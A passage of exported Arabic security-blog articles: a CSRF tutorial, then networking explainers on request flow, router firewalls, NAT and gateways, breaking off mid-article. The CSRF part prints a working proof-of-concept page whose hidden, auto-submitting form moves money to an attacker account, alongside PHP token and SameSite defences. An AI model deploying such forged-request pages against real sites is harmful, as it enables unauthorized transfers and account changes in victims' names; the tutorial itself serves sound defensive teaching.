[{"content":"إيه هي ثغرة الـ CSRF ؟ تخيل إنك عامل لوجن في موقع بنك مثلا، وبعد ما دخلت حسابك، الموقع عملك كوكيز (Session Cookie) عشان يعرف إنك أنت المستخدم المصرح له، والكوكي دي بتتبعت أوتوماتيك مع كل ريكويست تروح للموقع ده طالما البروزر مفتوح.\nالـ CSRF هي ثغرة بتحصل لما المهاجم يقدر يخلي المتصفح بتاعك يبعت ريكويست مهم (زي تحويل فلوس، تغيير إيميل، حذف حساب، إلخ) للموقع ده من غير ما تعرف، وباسمك أنت، لأن الكوكي بتاعتك موجودة أصلًا فى المتصفح.\nالمهاجم مش بيسرق الكوكي لانه مش محتاج يعمل كده لانك بالفعل هتفتح اللينك من عندك فى المتصفح بتاعك هو بس بيخدع المتصفح بتاعك إنه يبعت الريكويست ده لوحده.\nمثال عشان نفهمها كويس: فرضًا في موقع اسمه bank.example.com، ولما تعمل لوجن بيتم انشاء كوكي اسمها وليكن sessionid=abc123.\nفي الصفحة دي في فورم بتعمل تحويل فلوس ولكن اليوزر ميعرفش انها بتعمل كده لان كل اللى ظاهرله مجرد زرار بيقوله\u0026quot;Win Money\u0026quot; لان الـ inputs التانيه مخفيه واول ما يدوس عليه هينفذ الاكشن اللى موجود فى الـفورم:\n\u0026lt;form action=\u0026#34;https://bank.example.com/transfer\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;to_account\u0026#34; value=\u0026#34;attacker_account\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;amount\u0026#34; value=\u0026#34;10000\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Win Moneyyyyyyyyyyyyyyyy\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; لو الموقع مش محمي كويس، المهاجم هيعمل صفحة Fake على موقع تاني وعتبقى بالشكل ده بأى عنوان يشد اليوزر علشان يدوس عليه فيتم تنفيذ الاكشن :\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;اى عنوان يشد اليوزر\u0026lt;/h1\u0026gt; \u0026lt;img src=\u0026#34;https://bank.example.com/transfer?to_account=attacker_account\u0026amp;amount=10000\u0026#34;\u0026gt; \u0026lt;!-- أو لو POST --\u0026gt; \u0026lt;form id=\u0026#34;evilform\u0026#34; action=\u0026#34;https://bank.example.com/transfer\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;to_account\u0026#34; value=\u0026#34;attacker_account\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;amount\u0026#34; value=\u0026#34;10000\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt; document.getElementById(\u0026#34;evilform\u0026#34;).submit(); // هنا بيعمل ارسال الفورم اتوماتيك لانه بياخد الاى دى علطول من الفورم وينفذه \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; فدلوقتي لو أنت عامل لوجن في البنك، والمهاجم خدعك إنك تفتح الصفحة الـ Fake دي (عن طريق لينك في إيميل، أو إعلان، أو حتى صورة في اى مكان )، المتصفح بتاعك هيبعت الريكويست ده للبنك مع الكوكي بتاعتك، والبنك هيشوف إن الريكويست جاي منك فعلاً، فيقبل التحويل، وأنت مش هتعرف حاجة!\nطيب خلينا نشوف إمتى الثغرة دى تكون موجودة؟ المستخدم لازم يكون عامل لوجن والـكوكي موجودة. لو السيستم بيعمل check عن طريق الـ cookie بس الإكشن اللي عايزين نعمله لازم يكون POST أو GET بدون حماية إضافية. الموقع مش بيستخدم Anti-CSRF Tokens الريكويست لازم يكون predictable، يعني المهاجم يعرف الـ parameters بالضبط (زي amount و to_account) علشان يقدر يعمل الـ Form المناسبه. إزاي بقا بيتم تأمين المواقع من الثغرة دى ؟ 🔵CSRF Tokens (الطريقة الستاندرد): الموقع بيولد توكن عشوائي قوي (غالبًا 128-bit أو أكتر) لكل سيشن أو لكل فورم. التوكن ده بيتبعت في hidden field في الفورم، وبيتبعت كمان في هيدر (زي X-CSRF-Token). السيرفر بيشيك إن التوكن اللي جاي في الريكويست مطابق للي في السيشن. لو مش موجود أو غلط → يرفض الريكويست. ده بيخلي المهاجم مش قادر يحط التوكن الصح في صفحته الـ Fake لان التوكن بيكون بتسجل فى السيرفر وبيتم مقارنته باللى اتبعتله اذا كان فى الهيدر او الفورم نفسه. خلينا نفترض اننا هنكتب كود يعمل انشاء للـ CSRF Token بالــ PHP\nالكود ده بيتأكد إن لو التوكن مش موجود في الجلسة، يبقى بيولد واحد جديد ومعنى كده بيتعمل فى كل جلسه واحد جديد session_start(); if (!isset($_SESSION[\u0026#39;csrf_token\u0026#39;])) { $_SESSION[\u0026#39;csrf_token\u0026#39;] = bin2hex(random_bytes(32)); } تانى صفحه هتكون فيها اختبار الـ process اللى بتحصل يعنى لو الريكوست اتبعت من صفحه تانيه هل الريكوست ده فيه التوكن اللى متسجله فى السيرفر للسيشن الحاليه ؟ طب هل مطابقه ولا لاء ؟ هل هى موجوده اصلا ؟؟ //process.php \u0026lt;?php session_start(); if (!isset($_POST[\u0026#39;csrf_token\u0026#39;]) || $_POST[\u0026#39;csrf_token\u0026#39;] !== $_SESSION[\u0026#39;csrf_token\u0026#39;]) { // التوكن مش متطابق أو مش موجود die(\u0026#34;Invalid CSRF token\u0026#34;); } // لو التوكن متطابق، نكمل العملية ?\u0026gt; بعد كده تيجى الفورم نفسها بقا اللى بتاخد البيانات تروح بيها على صفحة الـ process اللى بيتم فيها هناك يشوف صحة التوكن اللى مبعوته \u0026lt;?php session_start(); ?\u0026gt; \u0026lt;form method=POST\u0026#34; action=\u0026#34;process.php\u0026#34;\u0026gt; \u0026lt;!-- باقي الحقول --\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;csrf_token\u0026#34; value=\u0026#34;\u0026lt;?php echo $_SESSION[\u0026#39;csrf_token\u0026#39;]; ?\u0026gt;\u0026#34;\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34;\u0026gt;Send\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; 🔵SameSite Cookies : ده اعداد بيتعمل اللى بيخلى الكوكيز تتبعت فى حالات معينه\nلما تعمل Set-Cookie، تضيف SameSite=Lax أو SameSite=Strict. الـ Strict: الكوكي مش هتتبعت خالص في ريكويستات من مواقع تانية يعنى الكوكيز هتتبعت بس لما الطلب يكون جاي من نفس الدومين بالظبط. الـ Lax: هتتبعت بس في navigation عادي (زي كليك على لينك)، مش في POST أو صور أو iframe. ده بيوقف معظم هجمات CSRF بدون ما تحتاج توكن، بس مش كلها . وهنا كود PHP بردو بيوضع ازاى بيتم اعداد الكوكي دى session_set_cookie_params([ \u0026#39;lifetime\u0026#39; =\u0026gt; 0, // مدة صلاحية الكوكيز للجلسة \u0026#39;path\u0026#39; =\u0026gt; \u0026#39;/\u0026#39;, \u0026#39;domain\u0026#39; =\u0026gt; \u0026#39;example.com\u0026#39;, \u0026#39;secure\u0026#39; =\u0026gt; true, // الكوكيز هتتبعت بس عبر HTTPS \u0026#39;httponly\u0026#39; =\u0026gt; true, // الكوكيز مش هتكون متاحة للجافاسكريبت \u0026#39;samesite\u0026#39; =\u0026gt; \u0026#39;Strict\u0026#39; // أو \u0026#39;Lax\u0026#39; حسب الحاجة ]); session_start(); لما يكون إعداد الكوكيز بصفة SameSite=Strict أو Lax، المتصفح هيتأكد قبل ما يبعت الكوكيز مع أي طلب إن الطلب ده جاي من نفس الدومين. بالتالي لو المهاجم حاول يعمل CSRF من موقع تاني، الكوكيز مش هتتبعت مع الطلب، والسيرفر مش هيقدر يتعرف على المستخدم أو ينفذ العملية لان مفيهاش كوكيز اصلا يعنى يعتبر كده الريكويست رايحله بدون ما يكون فيه عملية تسجيل دخول فميهاش اى خطر ساعتها هيتم تحويله لصفحة تسجيل الدخول.. والاكشن اللى موجود فى الفورم مش هيكون ليه اى لازمة\n🔵Double Submit Cookie: التوكن بيتبعت في كوكي وفي هيدر/فورم، والسيرفر بيقارن بينهم. 🔵Custom Headers: الـ AJAX بيتبعت هيدر زي X-Requested-With، والسيرفر يرفض لو مش موجود (لأن المتصفح مش بيسمح لجافاسكريبت خارجي يضيف هيدرز custom في cross-origin). 🔵Re-authentication للإكشنات المهمة (زي تغيير باسورد أو تحويل فلوس او تغير الاميل وهكذا).\nإيه هو الـ Preflight Request وعلاقتة بالــ CSRF لما بنتكلم عن CORS (Cross-Origin Resource Sharing)، ده آلية في المتصفحات عشان تحمي المواقع من ريكويستات من origins تانية (يعني domains مختلفة).\nالـ Preflight Request هو ريكويست \u0026ldquo;استطلاعي\u0026rdquo; بيحصل قبل الريكويست الحقيقي في حالات معينة، عشان المتصفح يسأل السيرفر: \u0026ldquo;هل مسموح لي أبعت الريكويست ده من origin تاني؟\u0026rdquo;\nالـ Preflight بيبقى ريكويست من نوع OPTIONS، وبيتبعت أوتوماتيك لما الريكويست الحقيقي يكون \u0026ldquo;non-simple\u0026rdquo;، يعني:\nالميثود مش GET أو HEAD أو POST (مثل PUT, DELETE, PATCH\u0026hellip;). أو فيه custom headers (زي X-CSRF-Token, Authorization, Content-Type غير الـ simple ones). أو الـ Content-Type مش واحد من الثلاثة دول: application/x-www-form-urlencoded, multipart/form-data, text/plain. مثال: لو عايز تبعت POST مع Content-Type: application/json و header X-CSRF-Token من موقع تاني → المتصفح هيبعت أولًا OPTIONS request كده:\nOPTIONS /api/change-email HTTP/1.1 Host: target.com Origin: https://evil.com Access-Control-Request-Method: POST Access-Control-Request-Headers: X-CSRF-Token, Content-Type السيرفر لازم يرد بـ headers زي:\nAccess-Control-Allow-Origin: https://evil.com Access-Control-Allow-Methods: POST Access-Control-Allow-Headers: X-CSRF-Token, Content-Type لو الرد مش صح → الريكويست الحقيقي ميتبعتش خالص.\nعلاقته بالـ CSRF إيه؟ الـ Preflight ده طبقة حماية إضافية ضد CSRF في بعض الحالات، خاصة في الـ modern APIs (JSON-based):\nالحماية الإيجابية:\nهجمات CSRF الكلاسيكية (HTML form أو أو auto-submit JS) مش بتسبب Preflight لأنها \u0026ldquo;simple requests\u0026rdquo;: ميثود POST أو GET. Content-Type عادي (urlencoded أو multipart). مفيش custom headers. يعني الـ CSRF الكلاسيكي بيعدي عادي، والسيرفر ميقدرش يعتمد على Preflight كحماية كاملة. لكن في الـ APIs اللي بتستخدم custom headers أو non-simple requests:\nبيكون فى APIs بتطلب X-CSRF-Token في header (مش في body). لما المهاجم يحاول يبعت CSRF بـ fetch أو XMLHttpRequest من موقع تاني مع الـ header ده → هيحصل Preflight. لو السيرفر مش معموله CORS config صح (مش بيسمح للـ origin بتاع الاتاكر) → الـ Preflight هيفشل → الريكويست الحقيقي ميتبعتش → الهجوم يفشل. يعني: في الـ SPA apps (React, Angular, Vue) اللي بتعتمد على JSON APIs + X-CSRF-Token header → الـ Preflight بيبقى حماية قوية جدًا ضد CSRF من اى دومين حارجى.\nالجانب السلبي (بايباس):\nلو السيرفر معموله CORS config واسع (Access-Control-Allow-Origin: * أو يسمح لكل origins) → الـ Preflight هيعدي → الهجوم ينجح. أو لو الـ API بيقبل simple requests بس (urlencoded) بدون custom headers → مفيش Preflight → CSRF كلاسيكي يعدي عادي. ريبورتـات https://hackerone.com/reports/3367292 https://hackerone.com/reports/1668489 https://hackerone.com/reports/2699029 https://hackerone.com/reports/1890310 https://hackerone.com/reports/2699029 https://hackerone.com/reports/2712857 https://hackerone.com/reports/2313478 https://hackerone.com/reports/1964211 https://hackerone.com/reports/1096128 https://hackerone.com/reports/1096141 https://hackerone.com/reports/2261600 https://hackerone.com/reports/1961163 https://hackerone.com/reports/2002352 ","permalink":"/vulnerabilities/csrf/","summary":"دليل شامل لفهم ثغرة CSRF، إزاي بتحصل، إزاي نحمي منها، وأمثلة حقيقية من الواقع","title":"ثغرة CSRF"},{"content":"1. بداية الرحلة: جهازك في الشبكة المحلية (LAN) تخيل إنك قاعد على جهازك في البيت، وده جزء من شبكتك LAN (الشبكة المحلية). لما بتحاول تتصل بالإنترنت، جهازك بيحتاج IP Address and Subnetting عشان يعرف مين هو في الشبكة. مين اللي بيديه الـIP ده؟ DHCP (Dynamic Host Configuration Protocol)، وهو زي موظف الاستقبال اللي بيوزع العناوين على كل الأجهزة الجديدة اللي بتدخل الشبكة.\nمفهوم إضافي: كل جهاز في الشبكة المحلية ليه MAC Address فريد. عشان الأجهزة تتواصل مع بعضها جوه الـLAN، بيستخدموا ARP، وهو البروتوكول اللي بيربط الـIP بالـMAC Address. 2. الخروج إلى العالم: من الـLAN إلى الـWAN الآن جهازك عرف عنوانه، بس عشان يتصل بالإنترنت محتاج يخرج من شبكته المحلية. هنا بيجي دور Gateway، اللي هو غالباً الراوتر بتاعك. الراوتر ده هو البوابة اللي بتوديك على WAN ، واللي هي في حالتنا Internet.\nقبل ما طلبك يخرج، الراوتر بيستخدم NAT عشان يحول الـIP الداخلي بتاعك إلى IP عام (Public IP)، وده بيخلي كل أجهزة البيت تطلع على الإنترنت بنفس الـIP. الراوتر هنا بيشتغل كمان كـ**Firewall في الشبكة**، وده بيحمي شبكتك من الاتصالات الغير مرغوبة. 3. رحلة الطلب عبر الإنترنت: نماذج الاتصال طلبك الآن في طريقه. كيف بيمشي؟ هنا بيجي دور OSI Model و TCP_IP Model. دول مجرد نماذج نظرية بتوصف كيف البيانات بتنتقل من جهاز لجهاز عبر طبقات مختلفة.\nالــ Packet \u0026amp; Frame: البيانات بتاعتك بتتقسم لأجزاء صغيرة اسمها Packet (حزمة) لما بتخرج من جهازك، وكل حزمة ليها عنوان الرايح وعنوان الجاي. 4. وصول الطلب إلى السيرفر طلبك بيمر عبر أجهزة زي الـ**Hub, Switch, Router**، كل واحد وظيفته يوجه الحزم دي في مسارها الصحيح لحد ما توصل للسيرفر المطلوب.\nالطلب قبل ما يروح السيرفر، جهازك محتاج يعرف الـIP بتاع الموقع اللي طالبه. ده دور الـ DNS، هو اللي بيترجم اسم الموقع (زي www.google.com) إلى الـIP الخاص به (زي 142.250.187.164). تقدر تستخدم أدوات زي nslookup - dig عشان تشوف عملية الترجمة دي بنفسك. 5. دورة حياة الطلب: نموذج العميل-الخادم طلبك وصل أخيراً. هنا بنكون في قلب نموذج Client with Server، اللي هو الأساس في اختبار اختراق الويب. أنت العميل (Client) والسيرفر هو اللي بيستضيف الموقع.\nRequest - Response: العلاقة بينكم قائمة على الطلب والاستجابة. أنت بتبعت Request (طلب)، والسيرفر بيرد عليك بـ**Response** (استجابة). 6. بروتوكولات الاتصال والمنافذ الـ Ports and Protocols: طلبك لازم يمشي عبر Port (Well-known - Ephemeral) (منفذ) معين. على سبيل المثال، عشان تتصفح موقع، طلبك هيروح للمنفذ 80 (لـ**HTTP/HTTPS**)، أو 443 (لـHTTP Secure).\nالـ TCP vs UDP: طلبك ده بيستخدم TCP (Transmission Control Protocol) عشان يضمن وصول كل الحزم بترتيبها الصحيح وبدون فقدان.\nالــ ICMP: ده بروتوكول مهم جداً عشان تختبر الاتصال. أدوات زي ping - traceroute بتستخدمه عشان تعرف إذا كان الجهاز شغال والمسار اللي بياخده طلبك.\n7. أدوات مهمة للمختبر netstat: بيساعدك تشوف كل الاتصالات اللي جهازك عاملها حالياً.\ncurl / wget: أدوات أساسية بتستخدمها عشان تبعت طلبات HTTP من سطر الأوامر (Command Line) بدل المتصفح، ودي مهمة جداً في البنتست.\n8. الحماية والتحايل على الشبكة Proxy \u0026amp; VPN بشكل عام: لما تستخدم أدوات زي Burp Suite، أنت بتحولها لـ**Proxy**، وده بيخليها تقف في النص بينك وبين السيرفر عشان تشوف وتعدل على الطلبات. الـVPN هو نوع تاني من الـProxy بيعمل نفق آمن بينك وبين شبكة تانية. ده ملخص لرحلة الطلب بتاعتك. لو في أي نقطة محتاج نشرحها بتفصيل أكبر، أنا موجود.\n","permalink":"/basics/network-story/","summary":"كل المقالات اللى فى سيكشن النيتورك هتلاقيها هنا مرتبة","title":"قصة الـ Network"},{"content":"الروتر بالإضافة لدوره كـ Gateway وNAT، بيشتغل كـ Firewall في أغلب الشبكات المنزلية والصغيرة. الـ Firewall هو طبقة أمان بتحمي الشبكة المحلية (LAN) من الاتصالات الغير مرغوب فيها أو الخطرة اللي جاية من الإنترنت أو شبكات خارجية. بيكون مدمج (Built-in) في برمجيات الروتر، وبيشتغل عشان:\nيمنع الوصول غير المصرح به للشبكة المحلية. يحمي الأجهزة من هجمات زي اختراق السيرفرات أو الفيروسات. يتحكم في أنواع البيانات اللي بيسمح بيها أو يمنعها. ازاي الروتر بيشتغل كـ Firewall؟ الروتر بيستخدم مجموعة من الآليات عشان يحمي الشبكة من الاتصالات الغير مرغوبة:\nالـ NAT كآلية أمان أساسية:\nزي ما اتكلمنا قبل كده، الـ NAT (Network Address Translation) بيخفي عناوين الـ Private IP بتاعة الأجهزة داخل الشبكة المحلية، وكل الاتصالات بتظهر كأنها جاية من الـ Public IP بتاع الروتر. ده بيخلي من الصعب على أي هكر أو مصدر خارجي يستهدف جهاز معين داخل الشبكة، لأنهم بيشوفوا بس الـ Public IP بتاع الروتر، مش الـ Private IP بتاع كل جهاز. يعني، لو في طلب من الإنترنت بيحاول يدخل الشبكة، الروتر مش هيسمحله إلا لو كان رد على طلب أنت بعته أصلاً (زي رد من موقع فتحته). أي طلب غير متوقع من الإنترنت بيترفض تلقائيًا بسبب الـ NAT. الــ Stateful Packet Inspection (SPI):\nمعظم الروترات الحديثة بتستخدم تقنية تُسمى Stateful Packet Inspection، ودي بتعني إن الروتر بيراقب \u0026ldquo;حالة\u0026rdquo; الاتصالات. يعني الروتر بيسمح بالبيانات اللي بتكون جزء من اتصال أنت بدأته (مثلًا فتحت موقع ويب)، لكنه بيمنع أي بيانات جاية من الإنترنت لو مكانتش مرتبطة باتصال موجود في جدول الـ NAT. مثال: لو هكر حاول يبعت بيانات للروتر من غير ما تكون رد على طلب من جهازك، الـ Firewall هيرفض البيانات دي لأنها مش جزء من اتصال معروف. قواعد الفلترة (Filtering Rules):\nالروتر بيكون فيه قواعد فلترة مضبوطة مسبقًا (أو يدويًا لو المستخدم عايز يعدلها). القواعد دي بتحدد إيه اللي ينفع يدخل أو يخرج من الشبكة بناءً على: نوع البروتوكول: زي TCP أو UDP. رقم المنفذ (Port): مثلاً، ممكن تمنع منافذ معينة معروفة إنها بتُستخدم في هجمات (زي Port 23 لـ Telnet). عنوان IP المصدر أو الوجهة: ممكن تمنع عناوين IP معينة أو تسمح بس بمواقع معينة. الاتجاه: بيانات داخلة (Inbound) أو خارجة (Outbound). افتراضيًا، الروتر بيمنع كل الاتصالات الداخلة (Inbound) من الإنترنت ما عدا اللي مرتبطة باتصال أنت بدأته، وده بيقلل مخاطر الاختراق. الـ MAC Filtering:\nالروتر بيقدر يستخدم الـ MAC Address عشان يتحكم في الأجهزة اللي مسموح لها تتصل بالشبكة. يعني لو جهاز غريب حاول يتصل بالواي-فاي، الروتر ممكن يرفضه لو الـ MAC Address بتاعه مش في قائمة الأجهزة المعتمدة. حماية من هجمات معينة:\nالروترات الحديثة بتقدر تكتشف وتمنع أنواع معينة من الهجمات، زي: How does the Firewall protect the network from unwanted communications? Unwanted communications are any data trying to enter or leave the network without permission, such as hacking attempts, viruses, or unauthorized access. The router protects the network in the following ways:\nPreventing unwanted incoming communications: As mentioned earlier, the router blocks any incoming request from the Internet if it is not a response to a request you initiated. If a hacker tries to access your device directly, the Firewall will block it because the request is not related to a connection in the NAT table. Hiding internal devices: Thanks to NAT, devices on the local network (such as your mobile or laptop) are not directly visible on the Internet. This reduces the chances of them being targeted by hackers. Controlling outgoing communications: Some routers allow you to set rules that prevent specific devices from accessing certain websites or services (such as suspicious sites). This is useful, for example, if you want to restrict Internet use for children. Logging suspicious activity: Some routers log unauthorized access attempts, and you can review the logs to see if there is suspicious activity. بفضل الـ NAT، الأجهزة في الشبكة المحلية (زي موبايلك أو لاب توبك) مش بتكون مرئية مباشرة على الإنترنت. ده بيقلل فرص استهدافها من هكرز. التحكم في الاتصالات الخارجة: بعض الروترات بتسمح لك تضبط قواعد تمنع أجهزة معينة من الوصول لمواقع أو خدمات معينة (زي مواقع مشبوهة). ده مفيد مثلاً لو عايز تحدد استخدام الإنترنت للأطفال. تسجيل النشاط المشبوه: بعض الروترات بتسجل محاولات الوصول غير المصرح بها، وبتقدر تراجع السجلات (Logs) عشان تعرف لو في نشاط مشبوه. مثال عملي: تخيل إن هكر بيحاول يوصل لكاميرا المراقبة في بيتك من الإنترنت. الكاميرا ليها Private IP زي 192.168.1.50. الروتر هيمنع الطلب ده لأنه: مش هيعرف يوصل للـ Private IP مباشرة بسبب الـ NAT. الـ Firewall هيكتشف إن الطلب ده مش مرتبط باتصال بدأته الكاميرا، فيرفضه. لكن لو إنت عايز تفتح الكاميرا للوصول من الإنترنت (زي لما تشوفها من برا البيت)، بتضطر تعمل Port Forwarding عشان تفتح منفذ معين وتسمح بالاتصال ده، لكن ده بيحتاج إعداد يدوي. إعدادات إضافية للـ Firewall في الروتر: الـ Port Forwarding: لو عايز تسمح لاتصال معين من الإنترنت (زي سيرفر ألعاب)، بتفتح منفذ معين وتوجهه لجهاز معين. الـ DMZ (Demilitarized Zone): منطقة في الروتر بتسمح لجهاز معين يكون \u0026ldquo;مكشوف\u0026rdquo; للإنترنت، لكن ده بيقلل الأمان. الـ Parental Controls: بعض الروترات بتستخدم الـ Firewall عشان تمنع مواقع معينة أو تحدد أوقات الاستخدام. الـ VPN Filtering: ممكن الروتر يتحكم في الاتصالات اللي بتمر من خلال VPN بناءً على قواعد الـ Firewall. ملخص بسيط: الروتر بيشتغل كـ Firewall عن طريق:\nاستخدام الـ NAT لإخفاء الأجهزة الداخلية. مراقبة الـ Traffic باستخدام Stateful Packet Inspection. تطبيق قواعد فلترة لمنع الاتصالات الغير مرغوبة. حماية من هجمات زي DoS أو Port Scanning. ده بيخلي الشبكة المحلية محمية من محاولات الاختراق أو الوصول غير المصرح به.\n","permalink":"/basics/firewall/","summary":"المقال بيشرح إزاي الروتر بيشتغل كـ Firewall في الشبكات المنزلية، من خلال إخفاء الأجهزة باستخدام NAT، فحص الاتصالات بـ Stateful Packet Inspection، وتطبيق قواعد فلترة لمنع الاختراقات والهجمات الشائعة.","title":"الـ Firewall"},{"content":"ايه هو NAT (Network Address Translation)؟ الــ NAT (ترجمة عنوان الشبكة) هي تقنية بيستخدمها الروتر (أو الـ Gateway) عشان يحول عناوين الـ IP الخاصة (Private IPs) المستخدمة داخل الشبكة المحلية (LAN) إلى عنوان IP عام (Public IP) عشان الأجهزة تقدر تتصل بالإنترنت. السبب الرئيسي لاستخدام NAT هو إن عدد عناوين الـ IPv4 المتاحة محدود جدًا، فمش كل جهاز في العالم يقدر ياخد عنوان IP عام. NAT بيحل المشكلة دي عن طريق إن كذا جهاز في شبكة محلية يستخدموا نفس الـ Public IP للوصول للإنترنت.\nازاي الـ NAT بيشتغل؟ الـ NAT بيعمل زي \u0026ldquo;مترجم\u0026rdquo; بيغير عنوان الـ IP في رأس حزمة البيانات (Packet Header) أثناء انتقالها بين الشبكة المحلية والإنترنت. في أغلب الحالات، الروتر بيكون هو الجهاز اللي بيعمل NAT. خليني أشرح الخطوات:\nالأجهزة في الـ LAN ليها Private IPs:\nالأجهزة في شبكتك المحلية (زي الكمبيوتر، الموبايل، التابلت) بياخدوا عناوين IP خاصة (Private IPs) زي 192.168.1.x أو 10.0.0.x. العناوين دي مش بتشتغل على الإنترنت مباشرة لأنها مخصصة للشبكات المحلية بس. الروتر بيكون عنده عنوان IP عام (Public IP) بياخده من مزود الإنترنت (ISP)، زي 203.0.113.1 (مثال). إرسال بيانات للإنترنت:\nلما جهازك (مثلًا بعنوان IP خاص 192.168.1.10) بيبعت طلب للإنترنت (زي فتح موقع)، البيانات بتروح للروتر (الـ Gateway). الروتر بيستخدم NAT عشان يغير عنوان المصدر (Source IP) في الـ Packet من الـ Private IP (192.168.1.10) إلى الـ Public IP بتاع الروتر (203.0.113.1). كمان، الروتر بيستخدم Port Number (رقم منفذ) عشان يفرّق بين الأجهزة المختلفة في الشبكة. يعني كل طلب من جهاز معين بيتربط بمنفذ معين (ده بيسمى PAT - Port Address Translation، وهو نوع من NAT). تتبع الطلبات:\nالروتر بيحتفظ بجدول يسمى NAT Table، بيسجل فيه العلاقة بين: الـ Private IP والمنفذ (Port) بتاع الجهاز اللي بعت الطلب. الـ Public IP والمنفذ اللي استخدمه في الإرسال. مثلاً: جهازك (192.168.1.10:Port 12345) يبعت طلب. الروتر بيحوله إلى (203.0.113.1:Port 54321) في الـ Packet اللي بيروح للإنترنت. استقبال الرد من الإنترنت:\nلما الرد يرجع من الإنترنت (مثلًا من سيرفر الموقع)، بيوصل للـ Public IP بتاع الروتر (203.0.113.1:Port 54321). الروتر بيرجع لجدول الـ NAT، بيشوف المنفذ ده مرتفع بأي جهاز داخلي، وبيحول الـ Packet للـ Private IP والمنفذ الأصلي (192.168.1.10:Port 12345). كده الرد بيوصل لجهازك بالظبط. ازاي كل أجهزة البيت بتستخدم نفس الـ Public IP؟ الروتر بيستخدم PAT (Port Address Translation)، وهي نوع من NAT يعتمد على تخصيص أرقام منافذ (Ports) مختلفة لكل جهاز في الشبكة المحلية.\nيعني لو عندك 3 أجهزة في البيت (موبايل، لاب توب، تابلت)، كل جهاز بياخد Private IP مختلف (مثلًا 192.168.1.10, 192.168.1.11, 192.168.1.12). لما بيبعتوا طلبات للإنترنت، الروتر بيحول كل الطلبات دي للـ Public IP الواحد بتاعه (مثلًا 203.0.113.1)، لكن بيستخدم منافذ مختلفة لكل طلب:\nموبايل: 192.168.1.10:Port 12345 → 203.0.113.1:Port 54321 لاب توب: 192.168.1.11:Port 23456 → 203.0.113.1:Port 54322 تابلت: 192.168.1.12:Port 34567 → 203.0.113.1:Port 54323 الروتر بيستخدم الـ NAT Table عشان يتذكر مين بعت إيه، ويوجه الردود للأجهزة الصحيحة بناءً على أرقام المنافذ.\nتحديد المنافذ بيكون تلقائي من الروتر باستخدام Dynamic Ports، بناءً على نطاق المنافذ المتاحة وجدول الـ NAT.\nالروتر مش بيكتفي بالـ IP لأن كل الأجهزة بتستخدم نفس الـ Public IP، والمنافذ بتساعد على تفريق الطلبات وتوجيه الردود للجهاز والتطبيق الصحيح.\nالمنافذ بتسمح بإدارة آلاف الاتصالات في وقت واحد، وبتضمن إن الروتر يعرف يوجه البيانات بدقة.\nلماذا NAT مهم؟ توفير عناوين الـ IP:\nعدد عناوين IPv4 محدود (حوالي 4.3 مليار عنوان)، ومش كفاية لكل الأجهزة في العالم. NAT بيخلي ملايين الأجهزة تستخدم عدد قليل من الـ Public IPs. يعني بيت واحد ممكن يكون فيه 10 أجهزة، وكلهم يطلعوا على الإنترنت بعنوان IP عام واحد. الأمان:\nNAT بيخفي الـ Private IPs بتاعة الأجهزة داخل الشبكة، فالسيرفرات الخارجية بتشوف بس الـ Public IP بتاع الروتر. ده بيصعب على الهكرز استهداف جهاز معين داخل الشبكة. إدارة الشبكة:\nبيسهل إعداد الشبكات المحلية، لأنك مش محتاج تخصص Public IP لكل جهاز. مثال عملي: لما تفتح يوتيوب من موبايلك وتفتح جوجل من اللاب توب في نفس الوقت:\nموبايلك (Private IP: 192.168.1.10) بيبعت طلب ليوتيوب. اللاب توب (Private IP: 192.168.1.11) بيبعت طلب لجوجل. الروتر بيحول الطلبين للـ Public IP بتاعه (مثلًا 203.0.113.1)، لكن بيستخدم منافذ مختلفة لكل طلب. لما الرد يرجع من يوتيوب وجوجل، الروتر بيوزعهم للموبايل واللاب توب بناءً على المنافذ في جدول الـ NAT. ملاحظات إضافية: أنواع NAT: Static NAT: ربط عنوان Private IP بعنوان Public IP ثابت (نادر الاستخدام في البيوت). Dynamic NAT: تخصيص Public IP من مجموعة عناوين مؤقتًا. PAT (Port Address Translation): النوع الأكثر شيوعًا، زي اللي شرحناه فوق. IPv6 والـ NAT: مع IPv6، اللي بيوفر عدد ضخم من العناوين، الحاجة للـ NAT بتقل، لأن كل جهاز ممكن ياخد عنوان IP عام فريد. لكن NAT لسه مستخدم على نطاق واسع مع IPv4. مشاكل NAT: ممكن يعقد بعض التطبيقات اللي بتحتاج اتصال مباشر (زي بعض الألعاب أو برامج VoIP)، وده بيتطلب إعدادات زي Port Forwarding. لو جدول الـ NAT اتملى أو فيه مشكلة، ممكن الاتصال يتعطل. ملخص بسيط: الـ NAT هو اللي بيخلي كل أجهزة البيت تتصل بالإنترنت بنفس الـ Public IP عن طريق تحويل الـ Private IPs للـ Public IP بتاع الروتر، مع استخدام منافذ مختلفة عشان يفرّق بين الأجهزة. الروتر بيستخدم جدول NAT عشان يتتبع الطلبات ويوجه الردود للجهاز الصحيح. ده بيوفر عناوين IP، بيزود الأمان، وبيسهل إدارة الشبكة.\n","permalink":"/basics/nat/","summary":"NAT هو التقنية اللي بتسمح لكل أجهزة الشبكة المحلية باستخدام نفس الـ Public IP للوصول للإنترنت. المقال بيشرح آلية عمل NAT و-PAT، استخدام المنافذ وجدول NAT، وليه NAT مهم في توفير عناوين IP وزيادة الأمان وإدارة الشبكات.","title":"الـ Nat"},{"content":"ايه هى الـ Gateway هي جهاز أو نقطة في الشبكة بتعمل كجسر بين شبكتين مختلفتين، زي الشبكة المحلية (LAN) والشبكة الخارجية (زي الإنترنت أو شبكة WAN). بمعنى تاني، الـ Gateway هي اللي بتسمح لجهازك يخرج من الشبكة المحلية ويتواصل مع شبكات تانية.\nفي أغلب الحالات، الـ Gateway بتكون الروتر (Router) نفسه، لأن 